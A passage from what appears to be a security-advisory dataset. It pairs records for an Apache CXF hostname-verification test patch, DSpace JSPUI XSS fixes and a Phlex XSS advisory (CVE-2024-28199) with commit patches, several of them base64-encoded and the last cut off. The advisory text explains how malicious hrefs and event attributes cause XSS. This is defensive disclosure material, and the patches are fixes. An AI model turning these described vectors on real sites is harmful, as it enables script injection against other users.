+        URL busFile = HostnameVerificationDeprecatedServer.class.getResource("hostname-server-bethal.xml");
+        Bus busLocal = new SpringBusFactory().createBus(busFile);
+        BusFactory.setDefaultBus(busLocal);
+        setBus(busLocal);
+
+        try {
+            new HostnameVerificationDeprecatedServer();
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+}
diff --git a/systests/transports/src/test/java/org/apache/cxf/systest/https/hostname/HostnameVerificationDeprecatedTest.java b/systests/transports/src/test/java/org/apache/cxf/systest/https/hostname/HostnameVerificationDeprecatedTest.java
new file mode 100644
index 00000000000..b464c2b5b4c
--- /dev/null
+++ b/systests/transports/src/test/java/org/apache/cxf/systest/https/hostname/HostnameVerificationDeprecatedTest.java
@@ -0,0 +1,121 @@
+/**
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements. See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership. The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied. See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+
+package org.apache.cxf.systest.https.hostname;
+
+import java.net.URL;
+
+import javax.xml.ws.BindingProvider;
+
+import org.apache.cxf.Bus;
+import org.apache.cxf.BusFactory;
+import org.apache.cxf.bus.spring.SpringBusFactory;
+import org.apache.cxf.testutil.common.AbstractBusClientServerTestBase;
+import org.apache.hello_world.Greeter;
+import org.apache.hello_world.services.SOAPService;
+
+import org.junit.AfterClass;
+import org.junit.BeforeClass;
+
+/**
+ * A test for hostname verification when the Java system property "java.protocol.handler.pkgs" is set to 
+ * "com.sun.net.ssl.internal.www.protocol". This means that com.sun.net.ssl.HostnameVerifier is used 
+ * instead of the javax version.
+ */
+public class HostnameVerificationDeprecatedTest extends AbstractBusClientServerTestBase {
+    static final String PORT = allocatePort(HostnameVerificationDeprecatedServer.class);
+    static final String PORT2 = allocatePort(HostnameVerificationDeprecatedServer.class, 2);
+
+    @BeforeClass
+    public static void startServers() throws Exception {
+        System.setProperty("java.protocol.handler.pkgs", "com.sun.net.ssl.internal.www.protocol");
+        assertTrue(
+            "Server failed to launch",
+            // run the server in the same process
+            // set this to false to fork
+            launchServer(HostnameVerificationDeprecatedServer.class, true)
+        );
+    }
+
+    @AfterClass
+    public static void cleanup() throws Exception {
+        System.clearProperty("java.protocol.handler.pkgs");
+        stopAllServers();
+    }
+
+    // Here we expect an exception, as the default hostname verifier contributed by CXF will object to the
+    // fact that the server certificate does not have "CN=localhost".
+    @org.junit.Test
+    public void testLocalhostNotMatching() throws Exception {
+        SpringBusFactory bf = new SpringBusFactory();
+        URL busFile = HostnameVerificationDeprecatedTest.class.getResource("hostname-client-bethal.xml");
+
+        Bus bus = bf.createBus(busFile.toString());
+        BusFactory.setDefaultBus(bus);
+        BusFactory.setThreadDefaultBus(bus);
+
+        URL url = SOAPService.WSDL_LOCATION;
+        SOAPService service = new SOAPService(url, SOAPService.SERVICE);
+        assertNotNull("Service is null", service);
+        final Greeter port = service.getHttpsPort();
+        assertNotNull("Port is null", port);
+
+        updateAddressPort(port, PORT);
+        
+        try {
+            port.greetMe("Kitty");
+            fail("Failure expected on the hostname verification");
+        } catch (Exception ex) {
+            // expected
+        }
+
+        ((java.io.Closeable)port).close();
+        bus.shutdown(true);
+    }
+    
+    // No Subject Alternative Name, but the CN matches ("localhost"), so the default HostnameVerifier
+    // should work fine
+    @org.junit.Test
+    public void testNoSubjectAlternativeNameCNMatch() throws Exception {
+        SpringBusFactory bf = new SpringBusFactory();
+        URL busFile = HostnameVerificationDeprecatedTest.class.getResource("hostname-client.xml");
+
+        Bus bus = bf.createBus(busFile.toString());
+        BusFactory.setDefaultBus(bus);
+        BusFactory.setThreadDefaultBus(bus);
+
+        URL url = SOAPService.WSDL_LOCATION;
+        SOAPService service = new SOAPService(url, SOAPService.SERVICE);
+        assertNotNull("Service is null", service);
+        final Greeter port = service.getHttpsPort();
+        assertNotNull("Port is null", port);
+
+        updateAddressPort(port, PORT2);
+
+        assertEquals(port.greetMe("Kitty"), "Hello Kitty");
+
+        // Enable Async
+        ((BindingProvider)port).getRequestContext().put("use.async.http.conduit", true);
+
+        assertEquals(port.greetMe("Kitty"), "Hello Kitty");
+
+        ((java.io.Closeable)port).close();
+        bus.shutdown(true);
+    }
+}
diff --git a/systests/transports/src/test/resources/org/apache/cxf/systest/https/hostname/hostname-client-bethal.xml b/systests/transports/src/test/resources/org/apache/cxf/systest/https/hostname/hostname-client-bethal.xml
new file mode 100644
index 00000000000..87f359676c8
--- /dev/null
+++ b/systests/transports/src/test/resources/org/apache/cxf/systest/https/hostname/hostname-client-bethal.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+ Licensed to the Apache Software Foundation (ASF) under one
+ or more contributor license agreements. See the NOTICE file
+ distributed with this work for additional information
+ regarding copyright ownership. The ASF licenses this file
+ to you under the Apache License, Version 2.0 (the
+ "License"); you may not use this file except in compliance
+ with the License. You may obtain a copy of the License at
+ 
+ http://www.apache.org/licenses/LICENSE-2.0
+ 
+ Unless required by applicable law or agreed to in writing,
+ software distributed under the License is distributed on an
+ "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ KIND, either express or implied. See the License for the
+ specific language governing permissions and limitations
+ under the License.
+-->
+<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:http="http://cxf.apache.org/transports/http/configuration" xmlns:jaxws="http://cxf.apache.org/jaxws" xmlns:cxf="http://cxf.apache.org/core" xmlns:p="http://cxf.apache.org/policy" xmlns:sec="http://cxf.apache.org/configuration/security" xsi:schemaLocation="           http://www.springframework.org/schema/beans           http://www.springframework.org/schema/beans/spring-beans-4.2.xsd           http://cxf.apache.org/jaxws                           http://cxf.apache.org/schemas/jaxws.xsd           http://cxf.apache.org/transports/http/configuration   http://cxf.apache.org/schemas/configuration/http-conf.xsd           http://cxf.apache.org/configuration/security          http://cxf.apache.org/schemas/configuration/security.xsd           http://cxf.apache.org/core http://cxf.apache.org/schemas/core.xsd           http://cxf.apache.org/policy http://cxf.apache.org/schemas/policy.xsd">
+    
+    <cxf:bus>
+        <cxf:features>
+            <cxf:logging/>
+        </cxf:features>
+    </cxf:bus>
+    <http:conduit name="https://localhost:.*">
+        <http:tlsClientParameters>
+            <sec:trustManagers>
+                <sec:keyStore type="jks" password="password" resource="keys/Bethal.jks"/>
+            </sec:trustManagers>
+        </http:tlsClientParameters>
+    </http:conduit>
+</beans>
diff --git a/systests/transports/src/test/resources/org/apache/cxf/systest/https/hostname/hostname-server-bethal.xml b/systests/transports/src/test/resources/org/apache/cxf/systest/https/hostname/hostname-server-bethal.xml
new file mode 100644
index 00000000000..9babe68aed1
--- /dev/null
+++ b/systests/transports/src/test/resources/org/apache/cxf/systest/https/hostname/hostname-server-bethal.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+ Licensed to the Apache Software Foundation (ASF) under one
+ or more contributor license agreements. See the NOTICE file
+ distributed with this work for additional information
+ regarding copyright ownership. The ASF licenses this file
+ to you under the Apache License, Version 2.0 (the
+ "License"); you may not use this file except in compliance
+ with the License. You may obtain a copy of the License at
+ 
+ http://www.apache.org/licenses/LICENSE-2.0
+ 
+ Unless required by applicable law or agreed to in writing,
+ software distributed under the License is distributed on an
+ "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ KIND, either express or implied. See the License for the
+ specific language governing permissions and limitations
+ under the License.
+-->
+<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:jaxws="http://cxf.apache.org/jaxws" xmlns:http="http://cxf.apache.org/transports/http/configuration" xmlns:httpj="http://cxf.apache.org/transports/http-jetty/configuration" xmlns:sec="http://cxf.apache.org/configuration/security" xmlns:cxf="http://cxf.apache.org/core" xmlns:p="http://cxf.apache.org/policy" xsi:schemaLocation="         http://www.springframework.org/schema/beans                     http://www.springframework.org/schema/beans/spring-beans-4.2.xsd         http://cxf.apache.org/jaxws                                     http://cxf.apache.org/schemas/jaxws.xsd         http://cxf.apache.org/core http://cxf.apache.org/schemas/core.xsd         http://cxf.apache.org/policy http://cxf.apache.org/schemas/policy.xsd         http://cxf.apache.org/transports/http/configuration             http://cxf.apache.org/schemas/configuration/http-conf.xsd         http://cxf.apache.org/transports/http-jetty/configuration       http://cxf.apache.org/schemas/configuration/http-jetty.xsd         http://cxf.apache.org/configuration/security                    http://cxf.apache.org/schemas/configuration/security.xsd     ">
+    <bean class="org.springframework.beans.factory.config.PropertyPlaceholderConfigurer"/>
+    <cxf:bus>
+        <cxf:features>
+            <cxf:logging/>
+        </cxf:features>
+    </cxf:bus>
+   
+    <httpj:engine-factory id="non-localhost-match-settings">
+        <httpj:engine port="${testutil.ports.HostnameVerificationDeprecatedServer}">
+            <httpj:tlsServerParameters>
+                <sec:keyManagers keyPassword="password">
+                    <sec:keyStore type="jks" password="password" resource="keys/Bethal.jks"/>
+                </sec:keyManagers>
+                <sec:clientAuthentication want="false" required="false"/>
+            </httpj:tlsServerParameters>
+        </httpj:engine>
+    </httpj:engine-factory>
+    
+    <jaxws:endpoint xmlns:e="http://apache.org/hello_world/services" 
+                     xmlns:s="http://apache.org/hello_world/services" 
+                     id="NonLocalhostMatch"
+                     implementor="org.apache.cxf.systest.http.GreeterImpl" 
+                     address="https://localhost:${testutil.ports.HostnameVerificationDeprecatedServer}/SoapContext/HttpsPort" 
+                     serviceName="s:SOAPService" 
+                     endpointName="e:HttpsPort" depends-on="non-localhost-match-settings"/>
+                     
+    <httpj:engine-factory id="no-subject-alt-cn-match-settings">
+        <httpj:engine port="${testutil.ports.HostnameVerificationDeprecatedServer.2}">
+            <httpj:tlsServerParameters>
+                <sec:keyManagers keyPassword="security">
+                    <sec:keyStore type="jks" password="security" resource="keys/subjalt.jks"/>
+                </sec:keyManagers>
+                <sec:clientAuthentication want="false" required="false"/>
+                <sec:certAlias>nosubjaltcnmatch</sec:certAlias>
+            </httpj:tlsServerParameters>
+        </httpj:engine>
+    </httpj:engine-factory>
+    
+    <jaxws:endpoint xmlns:e="http://apache.org/hello_world/services" 
+                     xmlns:s="http://apache.org/hello_world/services" 
+                     id="NoSubjectAltCNMatch" 
+                     implementor="org.apache.cxf.systest.http.GreeterImpl" 
+                     address="https://localhost:${testutil.ports.HostnameVerificationDeprecatedServer.2}/SoapContext/HttpsPort" 
+                     serviceName="s:SOAPService" 
+                     endpointName="e:HttpsPort" depends-on="no-subject-alt-cn-match-settings"/>
+</beans>", "url": "https://github.com/apache/cxf/commit/8ed6208f987ff72e4c4d2cf8a6b1ec9b27575d4.patch" } ]
null
GHSA-c558-5gfm-p2r8
JSPUI spellcheck and autocomplete tools vulnerable to Cross Site Scripting
null
[ { "commit_message": "[PATCH] [DS-4453] Fix XSS handling in JSPUI discovery autocomplete dspace-jspui/src/main/webapp/search/discovery.jsp | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-)", "patch_text_b64": "RnJvbSAzNTAzMGEyM2U0OGI1OTQ2ZjU4NTMzMzJjNzk3ZTFjNGFkZWE3YmI3IE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBLaW0gU2hlcGhlcmQgPGtpbUBzaGVwaGVyZC5uej4KRGF0ZTogV2VkLCA4IEFwciAyMDIwIDEzOjE5OjE0ICsxMjAwClN1YmplY3Q6IFtQQVRDSF0gW0RTLTQ0NTNdIEZpeCBYU1MgaGFuZGxpbmcgaW4gSlNQVUkgZGlzY292ZXJ5IGF1dG9jb21wbGV0ZQoKLS0tCiBkc3BhY2UtanNwdWkvc3JjL21haW4vd2ViYXBwL3NlYXJjaC9kaXNjb3ZlcnkuanNwIHwgNyArKysrKystCiAxIGZpbGUgY2hhbmdlZCwgNiBpbnNlcnRpb25zKCspLCAxIGRlbGV0aW9uKC0pCgpkaWZmIC0tZ2l0IGEvZHNwYWNlLWpzcHVpL3NyYy9tYWluL3dlYmFwcC9zZWFyY2gvZGlzY292ZXJ5LmpzcCBiL2RzcGFjZS1qc3B1aS9zcmMvbWFpbi93ZWJhcHAvc2VhcmNoL2Rpc2NvdmVyeS5qc3AKaW5kZXggNmQ3MWJiNmEwZTMwLi42Y2ZhZmQ0ZjNjN2QgMTAwNjQ0Ci0tLSBhL2RzcGFjZS1qc3B1aS9zcmMvbWFpbi93ZWJhcHAvc2VhcmNoL2Rpc2NvdmVyeS5qc3AKKysrIGIvZHNwYWNlLWpzcHVpL3NyYy9tYWluL3dlYmFwcC9zZWFyY2gvZGlzY292ZXJ5LmpzcApAQCAtMTQ3LDcgKzE0Nyw3IEBACiAJCQkJCQkJCQl0bXBfdmFsID0gaXRlbS5kaXNwbGF5ZWRWYWx1ZTsKIAkJCQkJCQkJfQogCQkJCQkJCQlyZXR1cm4gewotCQkJCQkJCQkJbGFiZWw6IGl0ZW0uZGlzcGxheWVkVmFsdWUgKyAiICgiICsgaXRlbS5jb3VudCArICIpIiwKKwkJCQkJCQkJCWxhYmVsOiBlc2NhcGVIdG1sKGl0ZW0uZGlzcGxheWVkVmFsdWUpICsgIiAoIiArIGl0ZW0uY291bnQgKyAiKSIsCiAJCQkJCQkJCQl2YWx1ZTogdG1wX3ZhbAogCQkJCQkJCQl9OwogCQkJCQkJCX0pKQkJCQpAQCAtMTU5LDYgKzE1OSwxMSBAQAogCWZ1bmN0aW9uIHZhbGlkYXRlRmlsdGVycygpIHsKIAkJcmV0dXJuIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJmaWx0ZXJxdWVyeSIpLnZhbHVlLmxlbmd0aCA+IDA7CiAJfQorCS8vIEdlbmVyaWMgSFRNTCBlc2NhcGUgdXRpbGl0eQorCXZhciBlc2NhcGVIdG1sID0gcyA9PiAocyArICcnKS5yZXBsYWNlKC9bJjw+IiddL2csIG0gPT4gKHsKKwkJJyYnOiAnJmFtcDsnLCAnPCc6ICcmbHQ7JywgJz4nOiAnJmd0OycsCisJCSciJzogJyZxdW90OycsICInIjogJyYjMzk7JworCX0pW21dKTsKIDwvc2NyaXB0PgkJCiA8L2M6c2V0Pg==", "url": "https://github.com/DSpace/DSpace/commit/35030a23e48b5946f5853332c797e1c4adea7bb7.patch" }, { "commit_message": "[PATCH] [DS-4453] Discovery autocomplete HTML escaping (JSPUI) dspace-jspui/src/main/webapp/search/discovery.jsp | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-)", "patch_text_b64": "RnJvbSA2Zjc1YmIwODRhYjE5MzdkMDk0MjA4YzU1Y2Q4NDM0MDA0MGJjYmI1IE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBLaW0gU2hlcGhlcmQgPGtpbUBzaGVwaGVyZC5uej4KRGF0ZTogV2VkLCAyNyBKdWwgMjAyMiAwOToxMjoyMiArMTIwMApTdWJqZWN0OiBbUEFUQ0hdIFtEUy00NDUzXSBEaXNjb3ZlcnkgYXV0b2NvbXBsZXRlIEhUTUwgZXNjYXBpbmcgKEpTUFVJKQoKLS0tCiBkc3BhY2UtanNwdWkvc3JjL21haW4vd2ViYXBwL3NlYXJjaC9kaXNjb3ZlcnkuanNwIHwgOSArKysrKysrLS0KIDEgZmlsZSBjaGFuZ2VkLCA3IGluc2VydGlvbnMoKyksIDIgZGVsZXRpb25zKC0pCgpkaWZmIC0tZ2l0IGEvZHNwYWNlLWpzcHVpL3NyYy9tYWluL3dlYmFwcC9zZWFyY2gvZGlzY292ZXJ5LmpzcCBiL2RzcGFjZS1qc3B1aS9zcmMvbWFpbi93ZWJhcHAvc2VhcmNoL2Rpc2NvdmVyeS5qc3AKaW5kZXggZWM5N2FmYjkwZmM3Li4xNTRlMDE0YWRkODUgMTAwNjQ0Ci0tLSBhL2RzcGFjZS1qc3B1aS9zcmMvbWFpbi93ZWJhcHAvc2VhcmNoL2Rpc2NvdmVyeS5qc3AKKysrIGIvZHNwYWNlLWpzcHVpL3NyYy9tYWluL3dlYmFwcC9zZWFyY2gvZGlzY292ZXJ5LmpzcApAQCAtMTQxLDcgKzE0MSw3IEBACiAJCQkJCQkJCQl0bXBfdmFsID0gaXRlbS5kaXNwbGF5ZWRWYWx1ZTsKIAkJCQkJCQkJfQogCQkJCQkJCQlyZXR1cm4gewotCQkJCQkJCQkJbGFiZWw6IGl0ZW0uZGlzcGxheWVkVmFsdWUgKyAiICgiICsgaXRlbS5jb3VudCArICIpIiwKKwkJCQkJCQkJCWxhYmVsOiBlc2NhcGVIdG1sKGl0ZW0uZGlzcGxheWVkVmFsdWUpICsgIiAoIiArIGl0ZW0uY291bnQgKyAiKSIsCiAJCQkJCQkJCQl2YWx1ZTogdG1wX3ZhbAogCQkJCQkJCQl9OwogCQkJCQkJCX0pKQkJCQpAQCAtMTUzLDcgKzE1MywxMiBAQAogCWZ1bmN0aW9uIHZhbGlkYXRlRmlsdGVycygpIHsKIAkJcmV0dXJuIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJmaWx0ZXJxdWVyeSIpLnZhbHVlLmxlbmd0aCA+IDA7CiAJfQotPC9zY3JpcHQ+CQkKKwkvLyBHZW5lcmljIEhUTUwgZXNjYXBlIHV0aWxpdHkKKwl2YXIgZXNjYXBlSHRtbCA9IHMgPT4gKHMgKyAnJykucmVwbGFjZSgvWyY8PiInXS9nLCBtID0+ICh7CisJCScmJzogJyZhbXA7JywgJzwnOiAnJmx0OycsICc+JzogJyZndDsnLAorCQknIic6ICcmcXVvdDsnLCAiJyI6ICcmIzM5OycKKwl9KVttXSk7Cis8L3NjcmlwdD4KIDwvYzpzZXQ+CiAKIDxkc3BhY2U6bGF5b3V0IHRpdGxla2V5PSJqc3Auc2VhcmNoLnRpdGxlIj4=", "url": "https://github.com/DSpace/DSpace/commit/6f75bb084ab1937d094208c55cd84340040bcbb5.patch" }, { "commit_message": "[PATCH] [DS-4453] Escape spellcheck, autocomplete HTML (JSPUI) dspace-jspui/src/main/webapp/search/discovery.jsp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)", "patch_text_b64": "RnJvbSBjODllNDkzZTUxN2I0MjRkZWE2MTc1Y2FiYTU0ZTkxZDM4NDdmYzNhIE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBLaW0gU2hlcGhlcmQgPGtpbUBzaGVwaGVyZC5uej4KRGF0ZTogVHVlLCAyNiBKdWwgMjAyMiAxNjoyNToxOCArMTIwMApTdWJqZWN0OiBbUEFUQ0hdIFtEUy00NDUzXSBFc2NhcGUgc3BlbGxjaGVjaywgYXV0b2NvbXBsZXRlIEhUTUwgKEpTUFVJKQoKLS0tCiBkc3BhY2UtanNwdWkvc3JjL21haW4vd2ViYXBwL3NlYXJjaC9kaXNjb3ZlcnkuanNwIHwgMiArLQogMSBmaWxlIGNoYW5nZWQsIDEgaW5zZXJ0aW9uKCspLCAxIGRlbGV0aW9uKC0pCgpkaWZmIC0tZ2l0IGEvZHNwYWNlLWpzcHVpL3NyYy9tYWluL3dlYmFwcC9zZWFyY2gvZGlzY292ZXJ5LmpzcCBiL2RzcGFjZS1qc3B1aS9zcmMvbWFpbi93ZWJhcHAvc2VhcmNoL2Rpc2NvdmVyeS5qc3AKaW5kZXggZmUwYTY0OTA4ZGQxLi5lYzk3YWZiOTBmYzcgMTAwNjQ0Ci0tLSBhL2RzcGFjZS1qc3B1aS9zcmMvbWFpbi93ZWJhcHAvc2VhcmNoL2Rpc2NvdmVyeS5qc3AKKysrIGIvZHNwYWNlLWpzcHVpL3NyYy9tYWluL3dlYmFwcC9zZWFyY2gvZGlzY292ZXJ5LmpzcApAQCAtMTk2LDcgKzE5Niw3IEBACiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI1MCIgaWQ9InF1ZXJ5IiBuYW1lPSJxdWVyeSIgdmFsdWU9IjwlPSAocXVlcnk9PW51bGwgPyAiIiA6IFV0aWxzLmFkZEVudGl0aWVzKHF1ZXJ5KSkgJT4iLz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgaWQ9Im1haW4tcXVlcnktc3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1wcmltYXJ5IiB2YWx1ZT0iPGZtdDptZXNzYWdlIGtleT0ianNwLmdlbmVyYWwuZ28iLz4iIC8+CiA8JSBpZiAoU3RyaW5nVXRpbHMuaXNOb3RCbGFuayhzcGVsbENoZWNrUXVlcnkpKSB7JT4KLQk8cCBjbGFzcz0ibGVhZCI+PGZtdDptZXNzYWdlIGtleT0ianNwLnNlYXJjaC5kaWR5b3VtZWFuIj48Zm10OnBhcmFtPjxhIGlkPSJzcGVsbENoZWNrUXVlcnkiIGRhdGEtc3BlbGw9IjwlPSBVdGlscy5hZGRFbnRpdGllcyhzcGVsbENoZWNrUXVlcnkpICU+IiBocmVmPSIjIj48JT0gc3BlbGxDaGVja1F1ZXJ5ICU+PC9hPjwvZm10OnBhcmFtPjwvZm10Om1lc3NhZ2U+PC9wPgorCTxwIGNsYXNzPSJsZWFkIj48Zm10Om1lc3NhZ2Uga2V5PSJqc3Auc2VhcmNoLmRpZHlvdW1lYW4iPjxmbXQ6cGFyYW0+PGEgaWQ9InNwZWxsQ2hlY2tRdWVyeSIgZGF0YS1zcGVsbD0iPCU9IFV0aWxzLmFkZEVudGl0aWVzKHNwZWxsQ2hlY2tRdWVyeSkgJT4iIGhyZWY9IiMiPjwlPVV0aWxzLmFkZEVudGl0aWVzKHNwZWxsQ2hlY2tRdWVyeSkgJT48L2E+PC9mbXQ6cGFyYW0+PC9mbXQ6bWVzc2FnZT48L3A+CiA8JSB9ICU+ICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIHZhbHVlPSI8JT0gcnBwICU+IiBuYW1lPSJycHAiIC8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIHZhbHVlPSI8JT0gVXRpbHMuYWRkRW50aXRpZXMoc29ydGVkQnkpICU+IiBuYW1lPSJzb3J0X2J5IiAvPg==", "url": "https://github.com/DSpace/DSpace/commit/c89e493e517b424dea6175caba54e91d3847fc3a.patch" }, { "commit_message": "[PATCH] [DS-4453] Fix XSS handling in JSPUI discovery spellcheck dspace-jspui/src/main/webapp/search/discovery.jsp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)", "patch_text_b64": "RnJvbSBlYmI4M2E3NTIzNGQzZGU5YmUxMjk0NjQwMTNlOTk4ZGM5MjliNjhkIE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBLaW0gU2hlcGhlcmQgPGtpbUBzaGVwaGVyZC5uej4KRGF0ZTogV2VkLCA4IEFwciAyMDIwIDEyOjU1OjM2ICsxMjAwClN1YmplY3Q6IFtQQVRDSF0gW0RTLTQ0NTNdIEZpeCBYU1MgaGFuZGxpbmcgaW4gSlNQVUkgZGlzY292ZXJ5IHNwZWxsY2hlY2sKCi0tLQogZHNwYWNlLWpzcHVpL3NyYy9tYWluL3dlYmFwcC9zZWFyY2gvZGlzY292ZXJ5LmpzcCB8IDIgKy0KIDEgZmlsZSBjaGFuZ2VkLCAxIGluc2VydGlvbigrKSwgMSBkZWxldGlvbigtKQoKZGlmZiAtLWdpdCBhL2RzcGFjZS1qc3B1aS9zcmMvbWFpbi93ZWJhcHAvc2VhcmNoL2Rpc2NvdmVyeS5qc3AgYi9kc3BhY2UtanNwdWkvc3JjL21haW4vd2ViYXBwL3NlYXJjaC9kaXNjb3ZlcnkuanNwCmluZGV4IDZjZmFmZDRmM2M3ZC4uYWM1MWRiY2IxNDA1IDEwMDY0NAotLS0gYS9kc3BhY2UtanNwdWkvc3JjL21haW4vd2ViYXBwL3NlYXJjaC9kaXNjb3ZlcnkuanNwCisrKyBiL2RzcGFjZS1qc3B1aS9zcmMvbWFpbi93ZWJhcHAvc2VhcmNoL2Rpc2NvdmVyeS5qc3AKQEAgLTIwOSw3ICsyMDksNyBAQAogICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNTAiIGlkPSJxdWVyeSIgbmFtZT0icXVlcnkiIHZhbHVlPSI8JT0gKHF1ZXJ5PT1udWxsID8gIiIgOiBVdGlscy5hZGRFbnRpdGllcyhxdWVyeSkpICU+Ii8+CiAgICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGlkPSJtYWluLXF1ZXJ5LXN1Ym1pdCIgY2xhc3M9ImJ0biBidG4tcHJpbWFyeSIgdmFsdWU9IjxmbXQ6bWVzc2FnZSBrZXk9ImpzcC5nZW5lcmFsLmdvIi8+IiAvPgogPCUgaWYgKFN0cmluZ1V0aWxzLmlzTm90Qmxhbmsoc3BlbGxDaGVja1F1ZXJ5KSkgeyU+Ci0JPHAgY2xhc3M9ImxlYWQiPjxmbXQ6bWVzc2FnZSBrZXk9ImpzcC5zZWFyY2guZGlkeW91bWVhbiI+PGZtdDpwYXJhbT48YSBpZD0ic3BlbGxDaGVja1F1ZXJ5IiBkYXRhLXNwZWxsPSI8JT0gVXRpbHMuYWRkRW50aXRpZXMoc3BlbGxDaGVja1F1ZXJ5KSAlPiIgaHJlZj0iIyI+PCU9IHNwZWxsQ2hlY2tRdWVyeSAlPjwvYT48L2ZtdDpwYXJhbT48L2ZtdDptZXNzYWdlPjwvcD4KKwk8cCBjbGFzcz0ibGVhZCI+PGZtdDptZXNzYWdlIGtleT0ianNwLnNlYXJjaC5kaWR5b3VtZWFuIj48Zm10OnBhcmFtPjxhIGlkPSJzcGVsbENoZWNrUXVlcnkiIGRhdGEtc3BlbGw9IjwlPSBVdGlscy5hZGRFbnRpdGllcyhzcGVsbENoZWNrUXVlcnkpICU+IiBocmVmPSIjIj48JT0gVXRpbHMuYWRkRW50aXRpZXMoc3BlbGxDaGVja1F1ZXJ5KSAlPjwvYT48L2ZtdDpwYXJhbT48L2ZtdDptZXNzYWdlPjwvcD4KIDwlIH0gJT4gICAgICAgICAgICAgICAgICAKICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgdmFsdWU9IjwlPSBycHAgJT4iIG5hbWU9InJwcCIgLz4KICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgdmFsdWU9IjwlPSBVdGlscy5hZGRFbnRpdGllcyhzb3J0ZWRCeSkgJT4iIG5hbWU9InNvcnRfYnkiIC8+", "url": "https://github.com/DSpace/DSpace/commit/ebb83a75234d3de9be129464013e998dc929b68d.patch" } ]
null
CVE-2024-28199
Cross-site Scripting (XSS) possible with maliciously formed HTML attribute names and values in Phlex
phlex is an open source framework for building object-oriented views in Ruby. There is a potential cross-site scripting (XSS) vulnerability that can be exploited via maliciously crafted user data. This was due to improper case-sensitivity in the code that was meant to prevent these attacks. If you render an `<a>` tag with an `href` attribute set to a user-provided link, that link could potentially execute JavaScript when clicked by another user. If you splat user-provided attributes when rendering any HTML tag, malicious event attributes could be included in the output, executing JavaScript when the events are triggered by another user. Patches are available on RubyGems for all 1.x minor versions. Users are advised to upgrade. Users unable to upgrade should consider configuring a content security policy that does not allow `unsafe-inline`.
[ { "commit_message": "[PATCH] Fix improper case-sensitivity See https://github.com/phlex-ruby/phlex/security/advisories/GHSA-242p-4v39-2v8g lib/phlex/sgml.rb | 13 ++++--------- test/phlex/view/naughty_business.rb | 30 +++++++++++++++++++++++++++++ 2 files changed, 34 insertions(+), 9 deletions(-)", "patch_text_b64": "RnJvbSBhYTUwYzYwNGNkZWUxZDBjZTdlZjA2OGE0YzY2Y2JkNWQ0M2Y5NmExIE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBKb2VsIERyYXBwZXIgPGpvZWxAZHJhcHBlci5tZT4KRGF0ZTogTW9uLCAxMSBNYXIgMjAyNCAyMjozMjo0NSArMDAwMApTdWJqZWN0OiBbUEFUQ0hdIEZpeCBpbXByb3BlciBjYXNlLXNlbnNpdGl2aXR5CgpTZWUgaHR0cHM6Ly9naXRodWIuY29tL3BobGV4LXJ1YnkvcGhsZXgvc2VjdXJpdHkvYWR2aXNvcmllcy9HSFNBLTI0MnAtNHYzOS0ydjhnCi0tLQogbGliL3BobGV4L3NnbWwucmIgICAgICAgICAgICAgICAgICAgfCAxMyArKysrLS0tLS0tLS0tCiB0ZXN0L3BobGV4L3ZpZXcvbmF1Z2h0eV9idXNpbmVzcy5yYiB8IDMwICsrKysrKysrKysrKysrKysrKysrKysrKysrKysrCiAyIGZpbGVzIGNoYW5nZWQsIDM0IGluc2VydGlvbnMoKyksIDkgZGVsZXRpb25zKC0pCgpkaWZmIC0tZ2l0IGEvbGliL3BobGV4L3NnbWwucmIgYi9saWIvcGhsZXgvc2dtbC5yYgppbmRleCBjNzZjZjU0Ny4uNjUzYmYxZDMgMTAwNjQ0Ci0tLSBhL2xpYi9waGxleC9zZ21sLnJiCisrKyBiL2xpYi9waGxleC9zZ21sLnJiCkBAIC0zOTMsMTQgKzM5Myw2IEBAIGRlZiBfX2ZpbmFsX2F0dHJpYnV0ZXNfXygqKmF0dHJpYnV0ZXMpCiAJCQkJYXR0cmlidXRlcyA9IHByb2Nlc3